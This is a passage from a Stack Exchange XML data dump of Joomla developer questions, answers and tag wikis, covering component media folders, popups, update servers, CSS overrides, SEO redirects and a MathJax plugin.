src=&quot;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-04T01:22:35.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3866" PostTypeId="2" ParentId="3861" CreationDate="2014-08-04T09:59:55.263" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I assume that your extension is a component. The best way is to create a &lt;code&gt;media&lt;/code&gt; directory  beside &lt;code&gt;admin&lt;/code&gt; and &lt;code&gt;site&lt;/code&gt; directories. Then put &lt;code&gt;js&lt;/code&gt;, &lt;code&gt;css&lt;/code&gt; and &lt;code&gt;img&lt;/code&gt; files inside separate directories like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.html&#xA;YOUR_COMPONENT_NAME.xml&#xA;[+] admin&#xA;[+] site&#xA;[-] media&#xA;   [-] js&#xA;      main.js&#xA;      index.html&#xA;   [+] css&#xA;   [+] img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that any folder should have an empty &lt;code&gt;index.html&lt;/code&gt; file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your XML manifest (YOUR_COMPONENT_NAME.xml), you can declare &lt;code&gt;media&lt;/code&gt; file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media destination=&quot;com_YOUR_COMPONENT_NAME&quot; folder=&quot;media&quot;&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;img&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the default view (default.php) and add these lines to include the files in the Joomla! head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addStyleSheet(JUri::base() . 'media/com_YOUR_COMPONENT_NAME/css/main.css');&#xA;$document-&amp;gt;addScript(JUri::base() . 'media/com_YOUR_COMPONENT_NAME/js/main.js');&#xA;$test_image_url = JUri::base() . 'media/com_YOUR_COMPONENT_NAME/img/test.jpg';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-08-04T09:59:55.263" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3867" PostTypeId="1" CreationDate="2014-08-04T12:31:10.810" Score="1" ViewCount="791" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n0z5H.png&quot; alt=&quot;enter image description here&quot;&gt;Hello,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some string values like a contract detail in one variable of template index file. Here i also attached screenshot what i am getting right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you have seen in screenshot I have strings with one &quot;Accept&quot; button. I want all that content in popup At page load just after user gets looged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After Login user must be accept these terms and condition then he/she can allow to do any things else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or please, suggest me if any free tool is available or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;br&gt;&#xA;Urjit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;code section (edited)&#xA;One code that i found is use of, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.modal'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;under  and Use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_xyz&amp;amp;task=xyz'); ?&amp;gt;&quot; class=&quot;modal&quot; rel=&quot;{size: {x: 400, y: 400}}&quot; &amp;gt;Click &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then after click you will find popup, But it is on click event. I want on page load event. Here is reference link&lt;/p&gt;&#xA;" OwnerUserId="1668" LastEditorUserId="1711" LastEditDate="2014-08-04T15:21:33.747" LastActivityDate="2014-08-05T13:11:52.557" Title="Print content in popup in template's index file" Tags="|component|plugin|jquery|javascript|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3868" PostTypeId="2" ParentId="3855" CreationDate="2014-08-04T14:13:39.680" Score="2" Body="&lt;p&gt;This is a way to perform it as you expect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;view.raw.php&lt;/code&gt; would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class YOURCOMPONENTViewYOURVIEW extends JViewLegacy // or JView depends on J! version&#xA;{&#xA;    public function display($tpl = 'raw')&#xA;    {&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;default_raw.php&lt;/code&gt; file inside &lt;code&gt;tmpl&lt;/code&gt; folder would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;$url = jUri::base();&#xA;&#xA;$ch = curl_init($url);&#xA;curl_setopt($ch,CURLOPT_RETURNTRANSFER, TRUE);&#xA;curl_setopt($ch,CURLOPT_FOLLOWLOCATION, TRUE);&#xA;$contents = curl_exec($ch);&#xA;curl_close($ch);&#xA;&#xA;$dom = new DOMDocument();&#xA;libxml_use_internal_errors(true);&#xA;$dom-&amp;gt;loadHTML($contents);&#xA;libxml_use_internal_errors(false);&#xA;&#xA;$xpath = new DOMXPath($dom);&#xA;$head = $xpath-&amp;gt;query('/html/head')-&amp;gt;item(0);&#xA;$head = $dom-&amp;gt;saveHTML($head);&#xA;echo '&amp;lt;html&amp;gt;' . $head . '&amp;lt;body&amp;gt;BLAH BLAH&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="90" LastEditDate="2014-08-05T12:09:46.867" LastActivityDate="2014-08-05T12:09:46.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3869" PostTypeId="1" AcceptedAnswerId="3889" CreationDate="2014-08-04T14:31:12.840" Score="2" ViewCount="576" Body="&lt;p&gt;I have an extension shipped as a package, which combines a module, a plugin and a component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the usual updateserver tag in my manifest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;    &amp;lt;server type=&quot;extension&quot; priority=&quot;1&quot; name=&quot;myext&quot;&amp;gt;http://www.fasterjoomla.com/myext.xml&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a corrensponding file hosted on the server. A tag in this file was not properly set up, but it worked up until a few versions ago; then boom! Stopped working. (the package was set as admin instead of site).  So I fixed it, and it started working again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here comes the problem: the update site was disabled in most of my test sites due to the error.  And while Joomla 2.5 has a nice &quot;Clean cache&quot; button in the extension update page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/index.php?option=com_installer&amp;amp;view=update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which invoked the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_installer/controllers/update.php:purge()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function, which in turn invoked the &lt;code&gt;enableSites()&lt;/code&gt; in the update model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alas I cannot find such button in Joomla 3.  And I tried debugging, but I can't see how this function would be invoked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help! Three thousands users are stuck with an old version, and they don't know it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I filed a bug:&#xA;&lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_item_id=34043&amp;amp;start=0&quot; rel=&quot;nofollow&quot;&gt;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_item_id=34043&amp;amp;start=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="377" LastEditorUserId="377" LastEditDate="2014-08-05T07:20:09.370" LastActivityDate="2014-08-05T12:04:20.353" Title="How to re-enable an extension's update site" Tags="|joomla-3.x|development|update|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3870" PostTypeId="2" ParentId="3867" CreationDate="2014-08-04T14:34:00.690" Score="1" Body="&lt;p&gt;If your content is static, there are lot's of tools that will create a modal window from an article, module or basically any div on your page. I personally like &lt;a href=&quot;http://www.rockettheme.com/joomla/extensions/rokbox&quot; rel=&quot;nofollow&quot;&gt;RokBox&lt;/a&gt; (free) for this purpose, but I haven't done auto-popup with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The free &lt;a href=&quot;https://www.joomlacontenteditor.net/support/tutorials/jcemediabox/item/create-a-media-popup&quot; rel=&quot;nofollow&quot;&gt;Joomla Content Editor&lt;/a&gt; has an option to create a popup, and among the options are auto-popup, as well as options to have the popup display only once, or each time the user visits your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTML looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/myvideo.swf&quot; type=&quot;application/x-shockwave-flash&quot; class=&quot;jcepopup&quot; rel=&quot;title[JCE MediaBox];caption[JCE MediaBox is great!];width[800];height[600]&quot;&amp;gt;My Video&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-04T14:34:00.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3871" PostTypeId="1" CreationDate="2014-08-04T15:02:00.847" Score="1" ViewCount="969" Body="&lt;p&gt;I moved one of my site to new domain. And also upgraded it to joomla3. i have around 200 articles/tips displaying using k2. Before moving to new domain google was indexing site well and i was getting around 100 unique visitors per day. But after moving it seems somewhere wrong in indexing for which visitors are coming very less around 5 each day by google. I checked everything like index, follow in global configuration, also in k2 parameters-&gt;advanced -  &quot;Advanced SEF Settings&quot; tab, i set &quot;Use the item ID in the URL&lt;br&gt;&#xA;&quot; to &quot;No&quot; and likewise others to make urls more search engine friendly but visitors from google not increasing as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also one thing i noticed when searched in google typing site:mysite.com, i am seeing article urls indexed as - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mysite.com/tips/jquery-javascript/how-to-show-tips-when-clicked-using-jquery-and-qtip/138-how-to-show-tips-when-clicked-using-jquery-and-qtip&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead - &lt;code&gt;http://mysite.com/tips/jquery-javascript/how-to-show-tips-when-clicked-using-jquery-and-qtip&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This last one is the expected url i am seeing when i load article via the site and also in &lt;a href=&quot;http://google.com/webmasters/tools/&quot; rel=&quot;nofollow&quot;&gt;http://google.com/webmasters/tools/&lt;/a&gt; sitemap url as i submitted sitemap with this kind of url formation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why google indexing urls with multiple title and adding number(138 as above) ?? this may be the reason why google not properly indexing my site and multiple urls being indexed.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-08-04T19:41:57.130" Title="Google indexing k2 urls wrong" Tags="|joomla-3.x|php|k2|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3872" PostTypeId="5" CreationDate="2014-08-04T15:35:56.360" Score="0" Body="&lt;h2&gt;What is a Template&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A template is basically the design of your Joomla powered website. With a template you can change the look and feel of your website. Templates have certain fields (positions) in which the component (just one) and modules (as many as you like) will be shown. Templates are easy to build or customize and they provide maximum flexibility in how you style your site. Both the Front-end (Site) and the Back-end (Administrator) of your site have templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Templates are &lt;a href=&quot;http://docs.joomla.org/Extension_types_(general_definitions)&quot; rel=&quot;nofollow&quot;&gt;Joomla extensions&lt;/a&gt;, are installed just like any other extension through the Joomla Extension Manager, and are managed through the Template Manager.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Types of templates&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are two types of templates used in a Joomla CMS powered website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Front-end Templates&lt;/strong&gt;&#xA;Front-end templates change the way your site looks to average users. Most of the templates you use or install will be Front-end Templates. There are both free and commercial Front-end templates available, and they can be customized to fit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Back-end Templates&lt;/strong&gt;&#xA;Back-end Templates are much rarer than Frontend Templates. You will probably never need to change your Back-end Template. Back-end Templates allow you to change the way the administrator interface looks.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Template development&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla developers should go to the &lt;a href=&quot;http://docs.joomla.org/Portal:Template_Development&quot; rel=&quot;nofollow&quot;&gt;Template Development portal&lt;/a&gt; page for more topics on developing a Joomla template.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;More information&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Category:Template_FAQ&quot; rel=&quot;nofollow&quot;&gt;List of frequently asked Template questions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-04T19:47:23.457" LastActivityDate="2014-08-04T19:47:23.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3873" PostTypeId="4" CreationDate="2014-08-04T15:35:56.360" Score="0" Body="The Joomla Template controls the overall layout of your site. It brings together common elements, modules and components as well as providing the cascading style sheet for your site. Both the Front-end (Site) and the Back-end (Administrator) of your site have templates." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-04T19:47:20.330" LastActivityDate="2014-08-04T19:47:20.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3874" PostTypeId="5" CreationDate="2014-08-04T15:47:50.670" Score="0" Body="&lt;h1&gt;jQuery&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jQuery&lt;/strong&gt; is a cross-platform JavaScript library designed to simplify the client-side scripting of HTML.[2] It was released in January 2006 at BarCamp NYC by John Resig. It is currently developed by a team of developers led by Dave Methvin. Used by over 60% of the 10,000 most visited websites,[3] jQuery is the most popular JavaScript library in use today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.x now ships with jQuery in the core because bootstrap was designed to work with it and the goal is to get all of main core functions working over on jquery. It also ships with mootools for compatibility reasons.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3rd party extensions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to load the Joomla jQuery library from a 3rd party extension, the extension simply has to call the JHtml-class: &lt;code&gt;JHtml::_(‘jquery.framework’);&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:34:29.870" LastActivityDate="2015-08-21T15:34:29.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3875" PostTypeId="4" CreationDate="2014-08-04T15:47:50.670" Score="0" Body="jQuery is a cross-platform JavaScript library designed to simplify the client-side scripting of HTML.[2] It was released in January 2006 at BarCamp NYC by John Resig. It is currently developed by a team of developers led by Dave Methvin. Used by over 60% of the 10,000 most visited websites,[3] jQuery is the most popular JavaScript library in use today." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-04T19:47:25.797" LastActivityDate="2014-08-04T19:47:25.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3877" PostTypeId="1" AcceptedAnswerId="3878" CreationDate="2014-08-04T19:10:58.043" Score="21" ViewCount="48479" Body="&lt;p&gt;When using a free/commercial Joomla template from Template Club X/Y/Z, what is the best way to include my own CSS styles?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-06-14T14:05:21.053" Title="How do I override the CSS styles in my template?" Tags="|templates|overrides|css|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3878" PostTypeId="2" ParentId="3877" CreationDate="2014-08-04T19:10:58.043" Score="23" Body="&lt;h2&gt;Why use CSS overrides?&lt;/h2&gt;&#xA;&lt;p&gt;It's always a good idea to keep your CSS styles separate from the existing template styling, if you're using a pre-built Joomla template.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's easier to maintain&lt;/li&gt;&#xA;&lt;li&gt;Your changes will not be lost if you upgrade the template&lt;/li&gt;&#xA;&lt;li&gt;You can easily copy/move the modifications to another template or another site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;How does CSS overrides work?&lt;/h2&gt;&#xA;&lt;p&gt;CSS means &amp;quot;Cascading Style Sheets&amp;quot;, &amp;quot;Cascading&amp;quot; in this context meaning that because more than one stylesheet rule could apply to a particular piece of HTML, rule used is chosen by cascading down from the more general rules to the specific rule required (the most specific rule is chosen), or based on the order of the rules for any element (the last rule found is chosen).&lt;/p&gt;&#xA;&lt;p&gt;As long as your customized CSS file is loaded &lt;em&gt;after&lt;/em&gt; the default template CSS files, you can add your own styles to override specific elements as needed (there are some exceptions, more on that below).&lt;/p&gt;&#xA;&lt;h2&gt;General usage&lt;/h2&gt;&#xA;&lt;p&gt;To load a custom style sheet in the Joomla &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag, the following code can be added to the &lt;code&gt;index.php&lt;/code&gt; file of your template (&lt;code&gt;YOURDOMAIN.COM/templates/yourtemplate/index.php&lt;/code&gt;), right before the ending &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tag in order to ensure your file is loaded last.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', JUri::root() . 'templates/' . $this-&amp;gt;template . '/css/custom.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(The CSS file can have any name, and does not have to be in the /css/ subfolder, but it's cleaner that way.)&lt;/p&gt;&#xA;&lt;p&gt;It's also possible to add a normal &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tag, but this is less flexible than the above mentioned option:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;/templates/mytemplate/css/custom.css&amp;quot; type=&amp;quot;text/css&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;!Important&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some extensions might load their CSS styles after yours (or even add styles directly in the index.php file), thus overriding your overrides. This can usually be solved by adding &lt;code&gt;!important&lt;/code&gt; to your styles, eg. &lt;code&gt;h1{color:red!important;}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Usage in different frameworks&lt;/h2&gt;&#xA;&lt;p&gt;Now the fun part: Many template frameworks has though of the possibility that users would want to make changes to their templates, thus adding an easy way to include your CSS overrides. Here are some of the methods used:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;RocketTheme Gantry 4&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;RocketTheme templates are powered by the Gantry Framework, and a customized CSS file will be loaded automatically if found. The CSS file must be placed in the &lt;code&gt;/templates/yourtemplate/css/&lt;/code&gt; folder, and the name &lt;strong&gt;must&lt;/strong&gt; be &lt;code&gt;YOURTEMPLATEFOLDER-custom.css&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Example:&lt;/em&gt; If you're using their free &lt;code&gt;Afterburner 2&lt;/code&gt; template, the default template directory is &lt;code&gt;/templates/rt_afterburner2/&lt;/code&gt;. Add a file called &lt;code&gt;rt_afterburner-custom.css&lt;/code&gt; (carefull with underscore and hyphen) to the /css/ subfolder, and it will be loaded automatically by the Gantry framework.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Shape 5&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Shape 5 templates ship with an empty &lt;code&gt;custom.css&lt;/code&gt; file in the /css/ subdirectory of your template. Simply add your styles to this file and they will be included in your layout.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Gavick Pro&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Gavick Pro templates ship with an empty &lt;code&gt;overrides.css&lt;/code&gt; file in the /css/ subdirectory. But note that this file is not loaded by default, you have to activate &lt;code&gt;Override CSS&lt;/code&gt; in the Advanced Settings tab in the template settings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Shine&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Create a custom CSS file in the /css/ subfolder of your template e.g. &lt;code&gt;custom.css&lt;/code&gt; and specify the file name at &lt;code&gt;Extensions -&amp;gt; Templates -&amp;gt; [template name] -&amp;gt; SEO &amp;amp; System -&amp;gt; Custom CSS/JS File(s)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;T3 Framework&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Templates based on the T3 Framework may/may not include a &lt;code&gt;custom.css&lt;/code&gt; file in the /css/ subfolder of your template (simply create it if it's not there), but when present, the file will be loaded after any other CSS file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Warp Framework&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Templates based on the Warp Framework automatically loads the &lt;code&gt;custom.css&lt;/code&gt; file found in the /css/ subfolder. Additional CSS files can be loaded by adding&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;warp-&amp;gt;stylesheets-&amp;gt;add('css:yourcssfile.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to the file &lt;code&gt;/layouts/template.config.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-10T04:15:18.247" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3879" PostTypeId="2" ParentId="3871" CreationDate="2014-08-04T19:41:57.130" Score="4" Body="&lt;p&gt;First off, you have duplicate content (which as you have noticed is hurting your rankings), even though it is using the canonical attribute. I Googled your site, and both links lead to the same exact page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you heave it set up like this in K2 &lt;a href=&quot;http://www.pixelfire.com.au/images/blog-images/K2-settings.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.pixelfire.com.au/images/blog-images/K2-settings.jpg&lt;/a&gt; ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you didn't mention when moving, that you did a 301 redirect on the old domain name for all of the &quot;good&quot; SEO juice content. That means the most visited pages, the most linked pages (if you have an option actually all of them) etc. This is really important. if you don't know how to do a 301 redirect, just follow the below example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;## Begin - Custom redirects&#xA;&#xA;RedirectMatch 301 ^tips/something http://www.newsite.com/tips/something&#xA;&#xA;## End - Custom redirects&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also find the most visited pages by using Google webmaster as you are already doing.&lt;/p&gt;&#xA;" OwnerUserId="1735" LastActivityDate="2014-08-04T19:41:57.130" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3880" PostTypeId="5" CreationDate="2014-08-04T20:48:28.800" Score="0" Body="&lt;p&gt;A &lt;strong&gt;Recommended Practice&lt;/strong&gt; (or &lt;a href=&quot;http://en.wikipedia.org/wiki/Best_practice&quot; rel=&quot;nofollow&quot;&gt;Best Practice&lt;/a&gt;) is a method or technique that has consistently shown results superior to those achieved with other means, and that is used as a benchmark. Recommended Practices in Joomla are informal rules that has been learned over time which can help improve the quality of a website or an extension.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Definitions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are many ways to define what the term &quot;Recommended Practice&quot; means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Special:BookSources/0-321-21026-3&quot; rel=&quot;nofollow&quot;&gt;Sommerville&lt;/a&gt; has identified four generalized attributes which are not concerned with what a program does, but how well the program does it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Maintainability. &lt;/li&gt;&#xA;&lt;li&gt;Dependability. &lt;/li&gt;&#xA;&lt;li&gt;Efficiency. &lt;/li&gt;&#xA;&lt;li&gt;Usability.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Special:BookSources/978-0-932633-42-2&quot; rel=&quot;nofollow&quot;&gt;Weinberg&lt;/a&gt; has identified four targets which a good program should meet:[6]&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does a program meet its specification; &quot;correct output for each possible input&quot;?&lt;/li&gt;&#xA;&lt;li&gt;Is the program produced on schedule (and within budget)?&lt;/li&gt;&#xA;&lt;li&gt;How adaptable is the program to cope with changing requirements?&lt;/li&gt;&#xA;&lt;li&gt;Is the program efficient enough for the environment in which it is used?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-05T06:24:47.910" LastActivityDate="2014-08-05T06:24:47.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3881" PostTypeId="4" CreationDate="2014-08-04T20:48:28.800" Score="0" Body="Recommended Practices are informal rules that the Joomla community has learned over time which can help improve the quality of a website or an extension." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-05T06:24:34.127" LastActivityDate="2014-08-05T06:24:34.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3882" PostTypeId="2" ParentId="3869" CreationDate="2014-08-04T21:49:52.807" Score="1" Body="&lt;p&gt;Go to the &lt;code&gt;Options&lt;/code&gt; for the Joomla 3 &lt;code&gt;Installation Manager&lt;/code&gt; and set the &quot;Updates Caching (in hours)&quot; value to 0 (zero).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GkMrW.png&quot; alt=&quot;Joomla 3 Installer Manger Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;code&gt;JUpdater&lt;/code&gt; doc's on the &lt;code&gt;findUpdates($eid = 0, $cacheTimeout = 0)&lt;/code&gt; if it's set to zero it will force reload the update information.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Finds an update for an extension&#xA; *&#xA; * @param   integer  $eid           Extension Identifier; if zero use all sites&#xA; * @param   integer  $cacheTimeout  How many seconds to cache update information; if zero, force reload the update information&#xA; *&#xA; * @return  boolean True if there are updates&#xA; *&#xA; * @since   11.1&#xA; */&#xA;public function findUpdates($eid = 0, $cacheTimeout = 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-08-04T21:49:52.807" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3883" PostTypeId="1" AcceptedAnswerId="3886" CreationDate="2014-08-05T01:59:22.753" Score="1" ViewCount="493" Body="&lt;p&gt;After reading this&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/399/adding-mathjax-to-a-joomla-website&quot;&gt;Adding Mathjax to a Joomla website&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know anything about writing extention but based on mentioned link, I am assuming it is should be easy to write a simple system plugin to enable both mathjax and latex2html5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I come up with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die('Restricted index access');&#xA;&#xA;class plgSystemMathJaxLatex2Html5 extends JPlugin {&#xA;    public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page = 0)&#xA;    {   &#xA;            $doc = JFactory::getDocument();&#xA;            